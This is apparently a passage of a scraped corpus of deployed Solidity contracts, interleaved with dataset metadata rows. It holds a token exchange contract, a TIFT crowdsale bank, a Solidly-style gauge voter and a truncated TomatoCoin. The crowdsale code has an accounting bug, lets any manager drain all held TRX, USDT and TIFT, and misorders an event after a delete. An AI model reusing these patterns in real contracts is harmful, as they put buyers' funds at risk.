contract Token is LockableToken, BurnableToken {
string public name; // name of Token
string public symbol; // symbol of Token
uint8 public decimals;
constructor(string memory _name, string memory _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract IOAEXBDR is Token {
struct Trx {
bool executed;
address from;
uint256 value;
address[] signers;
}
mapping(address => bool) public isSigner;
mapping(uint256 => Trx) public exchangeTrx;
address public AbcInstance; // address of AbcToken
uint256 public requestSigners = 2; // BDR => Abc need signers number
uint256 public applyCounts = 0; // Sequence of exchange request
mapping(address => uint256) public exchangeLock;
event SetSigner(address indexed signer,bool isSigner); // emit when add/remove signer
event ApplyExchangeToken(address indexed from,uint256 value,uint256 trxSeq); // emit when exchange successful
event ConfirmTrx(address indexed signer,uint256 indexed trxSeq); // emit when signer confirmed exchange request
event CancleConfirmTrx(address indexed signer,uint256 indexed trxSeq); // emit when signer cancles confirmed exchange request
event CancleExchangeRequest(address indexed signer,uint256 indexed trxSeq); // emit when signer/requester cancles exchange request
event TokenExchange(address indexed from,uint256 value,bool AbcExchangeBDR); // emit when Abc <=> Bdr,true:Abc => BDR,false:BDR => abc
event Mint(address indexed target,uint256 value);
modifier onlySigner() {
require(isSigner[msg.sender]);
_;
}
constructor(string memory _name, string memory _symbol, uint8 _decimals) Token(_name,_symbol,_decimals) public {
}
function transfer(address _to,uint256 _value) public returns (bool success) {
require(_to != AbcInstance,"can't transfer to AbcToken address directly");
return super.transfer(_to,_value);
}
function transferFrom(address _from, address _to,uint256 _value) public returns (bool success) {
require(_to != AbcInstance,"can't transfer to AbcToken address directly");
return super.transferFrom(_from,_to,_value);
}
function transferAndLock(address _to, uint256 _value, uint256 _lockdays) public returns (bool success) {
require(_to != AbcInstance,"can't transfer to AbcToken address directly");
return super.transferAndLock(_to,_value,_lockdays);
}
function setAbcInstance(address _abc) public onlyOwner {
require(_abc != address(0));
AbcInstance = _abc;
}
function setSigners(address[] memory _signers,bool _addSigner) public onlyOwner {
for(uint256 i = 0;i< _signers.length;i++){
require(_signers[i] != address(0));
isSigner[_signers[i]] = _addSigner;
emit SetSigner(_signers[i],_addSigner);
}
}
function setrequestSigners(uint256 _requestSigners) public onlyOwner {
require(_requestSigners != 0);
requestSigners = _requestSigners;
}
function isConfirmer(uint256 _trxSeq,address _signer) public view returns (bool) {
require(exchangeTrx[_trxSeq].from != address(0),"trxSeq not exist");
for(uint256 i = 0;i < exchangeTrx[_trxSeq].signers.length;i++){
if(exchangeTrx[_trxSeq].signers[i] == _signer){
return true;
}
}
return false;
}
function getConfirmersLengthOfTrx(uint256 _trxSeq) public view returns (uint256) {
return exchangeTrx[_trxSeq].signers.length;
}
function getConfirmerOfTrx(uint256 _trxSeq,uint256 _index) public view returns (address) {
require(_index < getConfirmersLengthOfTrx(_trxSeq),"out of range");
return exchangeTrx[_trxSeq].signers[_index];
}
function applyExchangeToken(uint256 _value) public whenNotPaused returns (uint256) {
uint256 trxSeq = applyCounts;
require(exchangeTrx[trxSeq].from == address(0),"trxSeq already exist");
require(balances[msg.sender] >= _value);
exchangeTrx[trxSeq].executed = false;
exchangeTrx[trxSeq].from = msg.sender;
exchangeTrx[trxSeq].value = _value;
applyCounts = applyCounts.add(1);
balances[address(this)] = balances[address(this)].add(_value);
balances[exchangeTrx[trxSeq].from] = balances[exchangeTrx[trxSeq].from].sub(_value);
exchangeLock[exchangeTrx[trxSeq].from] = exchangeLock[exchangeTrx[trxSeq].from].add(_value);
emit ApplyExchangeToken(exchangeTrx[trxSeq].from,exchangeTrx[trxSeq].value,trxSeq);
emit Transfer(msg.sender,address(this),_value);
return trxSeq;
}
function confirmExchangeTrx(uint256 _trxSeq) public onlySigner {
require(exchangeTrx[_trxSeq].from != address(0),"_trxSeq not exist");
require(exchangeTrx[_trxSeq].signers.length < requestSigners,"trx already has enough signers");
require(exchangeTrx[_trxSeq].executed == false,"trx already executed");
require(isConfirmer(_trxSeq, msg.sender) == false,"signer already confirmed");
exchangeTrx[_trxSeq].signers.push(msg.sender);
emit ConfirmTrx(msg.sender, _trxSeq);
}
function cancelConfirm(uint256 _trxSeq) public onlySigner {
require(exchangeTrx[_trxSeq].from != address(0),"_trxSeq not exist");
require(isConfirmer(_trxSeq, msg.sender),"Signer didn't confirm");
require(exchangeTrx[_trxSeq].executed == false,"trx already executed");
uint256 len = exchangeTrx[_trxSeq].signers.length;
for(uint256 i = 0;i < len;i++){
if(exchangeTrx[_trxSeq].signers[i] == msg.sender){
exchangeTrx[_trxSeq].signers[i] = exchangeTrx[_trxSeq].signers[len.sub(1)] ;
exchangeTrx[_trxSeq].signers.length --;
break;
}
}
emit CancleConfirmTrx(msg.sender,_trxSeq);
}
function cancleExchangeRequest(uint256 _trxSeq) public {
require(exchangeTrx[_trxSeq].from != address(0),"_trxSeq not exist");
require(exchangeTrx[_trxSeq].executed == false,"trx already executed");
require(isSigner[msg.sender] || exchangeTrx[_trxSeq].from == msg.sender);
balances[address(this)] = balances[address(this)].sub(exchangeTrx[_trxSeq].value);
balances[exchangeTrx[_trxSeq].from] = balances[exchangeTrx[_trxSeq].from].add(exchangeTrx[_trxSeq].value);
exchangeLock[exchangeTrx[_trxSeq].from] = exchangeLock[exchangeTrx[_trxSeq].from].sub(exchangeTrx[_trxSeq].value);
delete exchangeTrx[_trxSeq];
emit CancleExchangeRequest(msg.sender,_trxSeq);
emit Transfer(address(this),exchangeTrx[_trxSeq].from,exchangeTrx[_trxSeq].value);
}
function executeExchangeTrx(uint256 _trxSeq) public whenNotPaused{
address from = exchangeTrx[_trxSeq].from;
uint256 value = exchangeTrx[_trxSeq].value;
require(from != address(0),"trxSeq not exist");
require(exchangeTrx[_trxSeq].executed == false,"trxSeq has executed");
require(exchangeTrx[_trxSeq].signers.length >= requestSigners);
require(from == msg.sender|| isSigner[msg.sender]);
require(value <= balances[address(this)]);
_burn(address(this), value);
exchangeLock[from] = exchangeLock[from].sub(value);
exchangeTrx[_trxSeq].executed = true;
AbcInterface(AbcInstance).tokenFallback(from,value,bytes(""));
emit TokenExchange(exchangeTrx[_trxSeq].from,exchangeTrx[_trxSeq].value,false);
}
function tokenFallback(address _from, uint _value, bytes memory) public {
require(msg.sender == AbcInstance);
require(_from != address(0));
require(_value > 0);
uint256 exchangeAmount = _value.mul(10**uint256(decimals)).div(10**uint256(AbcInterface(AbcInstance).decimals()));
_mint(_from, exchangeAmount);
emit Transfer(address(0x00),_from,exchangeAmount);
emit TokenExchange(_from,_value,true);
}
function _mint(address target, uint256 value) internal {
balances[target] = balances[target].add(value);
totalSupply = totalSupply.add(value);
emit Mint(target,value);
}
}
| 147,694 | 12,230 |
91a3731a57024924519c278a23b5237e7483660e6b5b746477ded8246e598c3c
| 16,995 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TH/TH2RYw1pGf7Zu4cEjmeARJjF5kpXvYwYEs_TIFT_crowdsale_bank.sol
| 4,392 | 15,415 |
//SourceUnit: crowdsale_v3.sol
////////////////////////////////////////////////////////
/// ///
/// TIFT CROWDSALE CONTRACT v.3 ///
/// ///
////////////////////////////////////////////////////////
pragma solidity 0.5.8;
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract TIFT_crowdsale_bank {
using Roles for Roles.Role;
using SafeMath for uint256;
address private tift_token_contract; //TIFT token contract address
address private usdt_contract; //USDT token contract address
address private owner; //Owner address
uint256 private token_price_trx; //Price of token TRX -> TIFT
uint256 private token_price_usdt; //Price of token USDT -> TIFT
uint256 private total_tokens; //Total tokens in contract
uint256 private total_tokens_sold; //Total sold tokens
bool Contract_paused;
ERC20 private ERC20Interface;
event ManagerAdded(address indexed account);
event ManagerRemoved(address indexed account);
Roles.Role private _managers; //List of managers of bank
// //
// MANAGERS,OWNERS,CONTRACTS //
// //
constructor()
public {
owner = msg.sender; //setting current user as owner of contract
_managers.add(msg.sender); //setting to owner role - manager
token_price_trx = 2000000; //initialize token price 30 000 000 (2 TRX)
token_price_usdt = 50000; //initialize token price 30 000 000 (0,05 USDT)
Contract_paused = false; //turning pause off, by default
}
function Is_Manager(address account) public view returns (bool) {
require(account!=address(0), "TRC20: from the zero address"); //Zero-address-protection
return _managers.has(account); //Searching for user
}
function Add_Manager(address new_manager) public {
require(new_manager!=address(0), "TRC20: from the zero address"); //Zero-address-protection
if(Is_Manager(msg.sender)==true) { //Checking sender rights
if(Is_Manager(new_manager)==false) { //Checking new_manager are not exists in list
_managers.add(new_manager); //Adding new user
emit ManagerAdded(new_manager); //Calling event
}
}
}
function Remove_Manager(address fired_manager) external {
require(fired_manager!=address(0), "TRC20: from the zero address"); //Zero-address-protection
if(Is_Manager(msg.sender)==true) { //Checking sender rights
if(Is_Manager(fired_manager)==true) { //Checking fired_manager exists in list
_managers.remove(fired_manager); //Removing new user
emit ManagerRemoved(fired_manager); //Calling event
}
}
}
function Get_Token_Contract()view external returns (address) {
if(Is_Manager(msg.sender)==true) { //Checking sender rights
return tift_token_contract; //Return contract address
}
}
function Get_Tokens_Sold()view external returns (uint256) {
return total_tokens_sold;
}
function Get_Tokens_Balance()view external returns (uint256) {
return total_tokens;
}
function Get_Price_TRX() view external returns (uint256) {
if(Is_Manager(msg.sender)==true) { //Checking sender rights
return token_price_trx; //Return current price
}
}
function Get_Price_USDT() view external returns (uint256) {
if(Is_Manager(msg.sender)==true) { //Checking sender rights
return token_price_usdt; //Return current price
}
}
function Get_USDT_Contract()view external returns (address) {
if(Is_Manager(msg.sender)==true) { //Checking sender rights
return usdt_contract; //Return contract address
}
}
function Set_Token_Contract(address new_contract) external {
require(new_contract!=address(0), "TRC20: from the zero address"); //Zero-address-protection
if(Is_Manager(msg.sender)==true) { //Checking sender rights
tift_token_contract = new_contract; //Changing contract address
}
}
function Set_USDT_Contract(address new_contract) external {
require(new_contract!=address(0), "TRC20: from the zero address"); //Zero-address-protection
if(Is_Manager(msg.sender)==true) { //Checking sender rights
usdt_contract = new_contract; //Changing contract address
}
}
function Set_Price_TRX(uint _token_price) external {
require(_token_price!=0, "TRC20: zero price");
if(Is_Manager(msg.sender)==true) { //Checking sender rights
token_price_trx = _token_price; //Changing token price
}
}
function Set_Price_USDT(uint _token_price) external {
require(_token_price!=0, "TRC20: zero price");
if(Is_Manager(msg.sender)==true) { //Checking sender rights
token_price_usdt = _token_price; //Changing token price
}
}
function Is_Paused() view public returns (bool) {
return Contract_paused; //Returns is token paused or not
}
function Turn_On_Pause() external {
if(Is_Manager(msg.sender)==true) { //Checking sender rights
Contract_paused = true; //Turning pause on
}
}
function Turn_Off_Pause() external {
if(Is_Manager(msg.sender)==true) { //Checking sender rights
Contract_paused = false; //Turning pause off
}
}
// //
// CROWDSALE //
// //
function buy_tift_trx(uint256 _amount) external payable {
if(Is_Paused()==false){
require(token_price_trx!=0,"Price error!");
uint256 _decimals = 10**6;
uint256 _amount_with_decimals = SafeMath.mul(_amount,_decimals);//Getting decimals precision
uint256 _msgvalue_with_decimals = SafeMath.mul(msg.value,_decimals);
ERC20Interface = ERC20(tift_token_contract); //Connecting to token contract
//#1 check - balance of tokens in contract is bigger or equals amount to buy
require(ERC20Interface.balanceOf(address(this))>=_amount_with_decimals, "Bank balance error!");
//#2 check - price of crowdsale not zero
//#3 check - balance of TRX of sender is enough to buy specified amount of TIFT
require(SafeMath.div(_msgvalue_with_decimals,token_price_trx)>=_amount_with_decimals,"Not enough to buy,balance error!");
//Approving transaction
require(ERC20(tift_token_contract).approve(msg.sender, _amount_with_decimals));
//Transfering tokens to buyer
require(ERC20(tift_token_contract).transfer(msg.sender, _amount_with_decimals));
total_tokens_sold += _amount_with_decimals;
total_tokens -= _amount;
}
}
function buy_tift_usdt(uint256 _amount) external {
if(Is_Paused()==false){
require(token_price_usdt!=0,"Price error!");
ERC20 ERC20InterfaceUSDT;
ERC20 ERC20InterfaceTIFT;
uint256 _decimals = 10**6;
uint256 _amount_with_decimals = SafeMath.mul(_amount,_decimals);
uint256 _amount_to_buy = SafeMath.div(_amount_with_decimals,token_price_usdt);
ERC20InterfaceUSDT = ERC20(usdt_contract);
ERC20InterfaceTIFT = ERC20(tift_token_contract);
require(ERC20InterfaceTIFT.balanceOf(address(this))>=_amount_to_buy, "Bank balance error!");
require(ERC20InterfaceUSDT.transferFrom(msg.sender, address(this), _amount), "Sale failed");
require(ERC20InterfaceTIFT.approve(msg.sender, _amount_to_buy));
require(ERC20InterfaceTIFT.transfer(msg.sender, _amount_to_buy));
total_tokens_sold += _amount_to_buy;
total_tokens -= _amount_to_buy;
}
}
function TopUp_Deposit(uint256 _amount) external {
if(Is_Manager(msg.sender)==true) {
ERC20Interface = ERC20(tift_token_contract);
require(ERC20Interface.approve(address(this), _amount),"Approve failed");
require(ERC20Interface.transferFrom(msg.sender, address(this), _amount), "Deposit failed");
total_tokens += _amount;
}
}
function RemoveUSDT() external {
if(Is_Manager(msg.sender)==true) {
uint256 _amount;
_amount = ERC20(usdt_contract).balanceOf(address(this));
require(_amount!=0,"Zero balance!");
require(ERC20(usdt_contract).approve(msg.sender, _amount));
require(ERC20(usdt_contract).transfer(msg.sender, _amount));
}
}
function RemoveTIFT() external {
if(Is_Manager(msg.sender)==true) {
uint256 _amount;
_amount = ERC20(tift_token_contract).balanceOf(address(this));
require(_amount!=0,"Zero balance!");
require(ERC20(tift_token_contract).approve(msg.sender, _amount));
require(ERC20(tift_token_contract).transfer(msg.sender, _amount));
total_tokens = 0;
}
}
function RemoveTRX() external{
if(Is_Manager(msg.sender)==true) {
uint256 _amount;
_amount = address(this).balance;
require(_amount!=0,"Zero balance!");
msg.sender.transfer(_amount);
}
}
}
| 294,548 | 12,231 |
a19c9cc9d41c9f123bc0938ae4d939532e1d719554e2633fc49e019b8c08178b
| 15,070 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/dc/dc819f5d05a6859d2facbb4a44e5ab105762dbae_BaseV1Voter.sol
| 3,774 | 14,548 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
library Math {
function min(uint a, uint b) internal pure returns (uint) {
return a < b ? a : b;
}
}
interface erc20 {
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint amount) external returns (bool);
function balanceOf(address) external view returns (uint);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
function approve(address spender, uint value) external returns (bool);
}
interface ve {
function token() external view returns (address);
function balanceOfNFT(uint) external view returns (uint);
function isApprovedOrOwner(address, uint) external view returns (bool);
function ownerOf(uint) external view returns (address);
function transferFrom(address, address, uint) external;
function attach(uint tokenId) external;
function detach(uint tokenId) external;
function voting(uint tokenId) external;
function abstain(uint tokenId) external;
}
interface IBaseV1Factory {
function isPair(address) external view returns (bool);
}
interface IBaseV1Core {
function claimFees() external returns (uint, uint);
function tokens() external returns (address, address);
}
interface IBaseV1GaugeFactory {
function createGauge(address, address, address) external returns (address);
}
interface IBaseV1BribeFactory {
function createBribe() external returns (address);
}
interface IGauge {
function notifyRewardAmount(address token, uint amount) external;
function getReward(address account, address[] memory tokens) external;
function claimFees() external returns (uint claimed0, uint claimed1);
function left(address token) external view returns (uint);
}
interface IBribe {
function _deposit(uint amount, uint tokenId) external;
function _withdraw(uint amount, uint tokenId) external;
function getRewardForOwner(uint tokenId, address[] memory tokens) external;
}
interface IMinter {
function update_period() external returns (uint);
}
contract BaseV1Voter {
address public immutable _ve; // the ve token that governs these contracts
address public immutable factory; // the BaseV1Factory
address internal immutable base;
address public immutable gaugefactory;
address public immutable bribefactory;
uint internal constant DURATION = 7 days; // rewards are released over 7 days
address public minter;
uint public totalWeight; // total voting weight
address[] public pools; // all pools viable for incentives
mapping(address => address) public gauges; // pool => gauge
mapping(address => address) public poolForGauge; // gauge => pool
mapping(address => address) public bribes; // gauge => bribe
mapping(address => int256) public weights; // pool => weight
mapping(uint => mapping(address => int256)) public votes; // nft => pool => votes
mapping(uint => address[]) public poolVote; // nft => pools
mapping(uint => uint) public usedWeights; // nft => total voting weight of user
mapping(address => bool) public isGauge;
mapping(address => bool) public isWhitelisted;
event GaugeCreated(address indexed gauge, address creator, address indexed bribe, address indexed pool);
event Voted(address indexed voter, uint tokenId, int256 weight);
event Abstained(uint tokenId, int256 weight);
event Deposit(address indexed lp, address indexed gauge, uint tokenId, uint amount);
event Withdraw(address indexed lp, address indexed gauge, uint tokenId, uint amount);
event NotifyReward(address indexed sender, address indexed reward, uint amount);
event DistributeReward(address indexed sender, address indexed gauge, uint amount);
event Attach(address indexed owner, address indexed gauge, uint tokenId);
event Detach(address indexed owner, address indexed gauge, uint tokenId);
event Whitelisted(address indexed whitelister, address indexed token);
constructor(address __ve, address _factory, address _gauges, address _bribes) {
_ve = __ve;
factory = _factory;
base = ve(__ve).token();
gaugefactory = _gauges;
bribefactory = _bribes;
minter = msg.sender;
}
// simple re-entrancy check
uint internal _unlocked = 1;
modifier lock() {
require(_unlocked == 1);
_unlocked = 2;
_;
_unlocked = 1;
}
function initialize(address[] memory _tokens, address _minter) external {
require(msg.sender == minter);
for (uint i = 0; i < _tokens.length; i++) {
_whitelist(_tokens[i]);
}
minter = _minter;
}
function listing_fee() public view returns (uint) {
return (erc20(base).totalSupply() - erc20(_ve).totalSupply()) / 200;
}
function reset(uint _tokenId) external {
require(ve(_ve).isApprovedOrOwner(msg.sender, _tokenId));
_reset(_tokenId);
ve(_ve).abstain(_tokenId);
}
function _reset(uint _tokenId) internal {
address[] storage _poolVote = poolVote[_tokenId];
uint _poolVoteCnt = _poolVote.length;
int256 _totalWeight = 0;
for (uint i = 0; i < _poolVoteCnt; i ++) {
address _pool = _poolVote[i];
int256 _votes = votes[_tokenId][_pool];
if (_votes != 0) {
_updateFor(gauges[_pool]);
weights[_pool] -= _votes;
votes[_tokenId][_pool] -= _votes;
if (_votes > 0) {
IBribe(bribes[gauges[_pool]])._withdraw(uint256(_votes), _tokenId);
_totalWeight += _votes;
} else {
_totalWeight -= _votes;
}
emit Abstained(_tokenId, _votes);
}
}
totalWeight -= uint256(_totalWeight);
usedWeights[_tokenId] = 0;
delete poolVote[_tokenId];
}
function poke(uint _tokenId) external {
address[] memory _poolVote = poolVote[_tokenId];
uint _poolCnt = _poolVote.length;
int256[] memory _weights = new int256[](_poolCnt);
for (uint i = 0; i < _poolCnt; i ++) {
_weights[i] = votes[_tokenId][_poolVote[i]];
}
_vote(_tokenId, _poolVote, _weights);
}
function _vote(uint _tokenId, address[] memory _poolVote, int256[] memory _weights) internal {
_reset(_tokenId);
uint _poolCnt = _poolVote.length;
int256 _weight = int256(ve(_ve).balanceOfNFT(_tokenId));
int256 _totalVoteWeight = 0;
int256 _totalWeight = 0;
int256 _usedWeight = 0;
for (uint i = 0; i < _poolCnt; i++) {
_totalVoteWeight += _weights[i] > 0 ? _weights[i] : -_weights[i];
}
for (uint i = 0; i < _poolCnt; i++) {
address _pool = _poolVote[i];
address _gauge = gauges[_pool];
if (isGauge[_gauge]) {
int256 _poolWeight = _weights[i] * _weight / _totalVoteWeight;
require(votes[_tokenId][_pool] == 0);
require(_poolWeight != 0);
_updateFor(_gauge);
poolVote[_tokenId].push(_pool);
weights[_pool] += _poolWeight;
votes[_tokenId][_pool] += _poolWeight;
if (_poolWeight > 0) {
IBribe(bribes[_gauge])._deposit(uint256(_poolWeight), _tokenId);
} else {
_poolWeight = -_poolWeight;
}
_usedWeight += _poolWeight;
_totalWeight += _poolWeight;
emit Voted(msg.sender, _tokenId, _poolWeight);
}
}
if (_usedWeight > 0) ve(_ve).voting(_tokenId);
totalWeight += uint256(_totalWeight);
usedWeights[_tokenId] = uint256(_usedWeight);
}
function vote(uint tokenId, address[] calldata _poolVote, int256[] calldata _weights) external {
require(ve(_ve).isApprovedOrOwner(msg.sender, tokenId));
require(_poolVote.length == _weights.length);
_vote(tokenId, _poolVote, _weights);
}
function whitelist(address _token, uint _tokenId) public {
if (_tokenId > 0) {
require(msg.sender == ve(_ve).ownerOf(_tokenId));
require(ve(_ve).balanceOfNFT(_tokenId) > listing_fee());
} else {
_safeTransferFrom(base, msg.sender, minter, listing_fee());
}
_whitelist(_token);
}
function _whitelist(address _token) internal {
require(!isWhitelisted[_token]);
isWhitelisted[_token] = true;
emit Whitelisted(msg.sender, _token);
}
function createGauge(address _pool) external returns (address) {
require(gauges[_pool] == address(0x0), "exists");
require(IBaseV1Factory(factory).isPair(_pool), "!_pool");
(address tokenA, address tokenB) = IBaseV1Core(_pool).tokens();
require(isWhitelisted[tokenA] && isWhitelisted[tokenB], "!whitelisted");
address _bribe = IBaseV1BribeFactory(bribefactory).createBribe();
address _gauge = IBaseV1GaugeFactory(gaugefactory).createGauge(_pool, _bribe, _ve);
erc20(base).approve(_gauge, type(uint).max);
bribes[_gauge] = _bribe;
gauges[_pool] = _gauge;
poolForGauge[_gauge] = _pool;
isGauge[_gauge] = true;
_updateFor(_gauge);
pools.push(_pool);
emit GaugeCreated(_gauge, msg.sender, _bribe, _pool);
return _gauge;
}
function attachTokenToGauge(uint tokenId, address account) external {
require(isGauge[msg.sender]);
if (tokenId > 0) ve(_ve).attach(tokenId);
emit Attach(account, msg.sender, tokenId);
}
function emitDeposit(uint tokenId, address account, uint amount) external {
require(isGauge[msg.sender]);
emit Deposit(account, msg.sender, tokenId, amount);
}
function detachTokenFromGauge(uint tokenId, address account) external {
require(isGauge[msg.sender]);
if (tokenId > 0) ve(_ve).detach(tokenId);
emit Detach(account, msg.sender, tokenId);
}
function emitWithdraw(uint tokenId, address account, uint amount) external {
require(isGauge[msg.sender]);
emit Withdraw(account, msg.sender, tokenId, amount);
}
function length() external view returns (uint) {
return pools.length;
}
uint internal index;
mapping(address => uint) internal supplyIndex;
mapping(address => uint) public claimable;
function notifyRewardAmount(uint amount) external {
_safeTransferFrom(base, msg.sender, address(this), amount); // transfer the distro in
uint256 _ratio = amount * 1e18 / totalWeight; // 1e18 adjustment is removed during claim
if (_ratio > 0) {
index += _ratio;
}
emit NotifyReward(msg.sender, base, amount);
}
function updateFor(address[] memory _gauges) external {
for (uint i = 0; i < _gauges.length; i++) {
_updateFor(_gauges[i]);
}
}
function updateForRange(uint start, uint end) public {
for (uint i = start; i < end; i++) {
_updateFor(gauges[pools[i]]);
}
}
function updateAll() external {
updateForRange(0, pools.length);
}
function updateGauge(address _gauge) external {
_updateFor(_gauge);
}
function _updateFor(address _gauge) internal {
address _pool = poolForGauge[_gauge];
int256 _supplied = weights[_pool];
if (_supplied > 0) {
uint _supplyIndex = supplyIndex[_gauge];
uint _index = index; // get global index0 for accumulated distro
supplyIndex[_gauge] = _index; // update _gauge current position to global position
uint _delta = _index - _supplyIndex; // see if there is any difference that need to be accrued
if (_delta > 0) {
uint _share = uint(_supplied) * _delta / 1e18; // add accrued difference for each supplied token
claimable[_gauge] += _share;
}
} else {
supplyIndex[_gauge] = index; // new users are set to the default global state
}
}
function claimRewards(address[] memory _gauges, address[][] memory _tokens) external {
for (uint i = 0; i < _gauges.length; i++) {
IGauge(_gauges[i]).getReward(msg.sender, _tokens[i]);
}
}
function claimBribes(address[] memory _bribes, address[][] memory _tokens, uint _tokenId) external {
require(ve(_ve).isApprovedOrOwner(msg.sender, _tokenId));
for (uint i = 0; i < _bribes.length; i++) {
IBribe(_bribes[i]).getRewardForOwner(_tokenId, _tokens[i]);
}
}
function claimFees(address[] memory _fees, address[][] memory _tokens, uint _tokenId) external {
require(ve(_ve).isApprovedOrOwner(msg.sender, _tokenId));
for (uint i = 0; i < _fees.length; i++) {
IBribe(_fees[i]).getRewardForOwner(_tokenId, _tokens[i]);
}
}
function distributeFees(address[] memory _gauges) external {
for (uint i = 0; i < _gauges.length; i++) {
IGauge(_gauges[i]).claimFees();
}
}
function distribute(address _gauge) public lock {
IMinter(minter).update_period();
_updateFor(_gauge);
uint _claimable = claimable[_gauge];
if (_claimable > IGauge(_gauge).left(base) && _claimable / DURATION > 0) {
claimable[_gauge] = 0;
IGauge(_gauge).notifyRewardAmount(base, _claimable);
emit DistributeReward(msg.sender, _gauge, _claimable);
}
}
function distro() external {
distribute(0, pools.length);
}
function distribute() external {
distribute(0, pools.length);
}
function distribute(uint start, uint finish) public {
for (uint x = start; x < finish; x++) {
distribute(gauges[pools[x]]);
}
}
function distribute(address[] memory _gauges) external {
for (uint x = 0; x < _gauges.length; x++) {
distribute(_gauges[x]);
}
}
function _safeTransferFrom(address token, address from, address to, uint256 value) internal {
require(token.code.length > 0);
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transferFrom.selector, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
}
| 326,631 | 12,232 |
17fc330ca129542377698b69d8ba527af34a382d2ad6f747a583a18437e806d6
| 31,270 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/f5/f5760bbbC3565f6A513a9c20300a335A1250C57e_TomatoCoin.sol
| 3,403 | 13,503 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
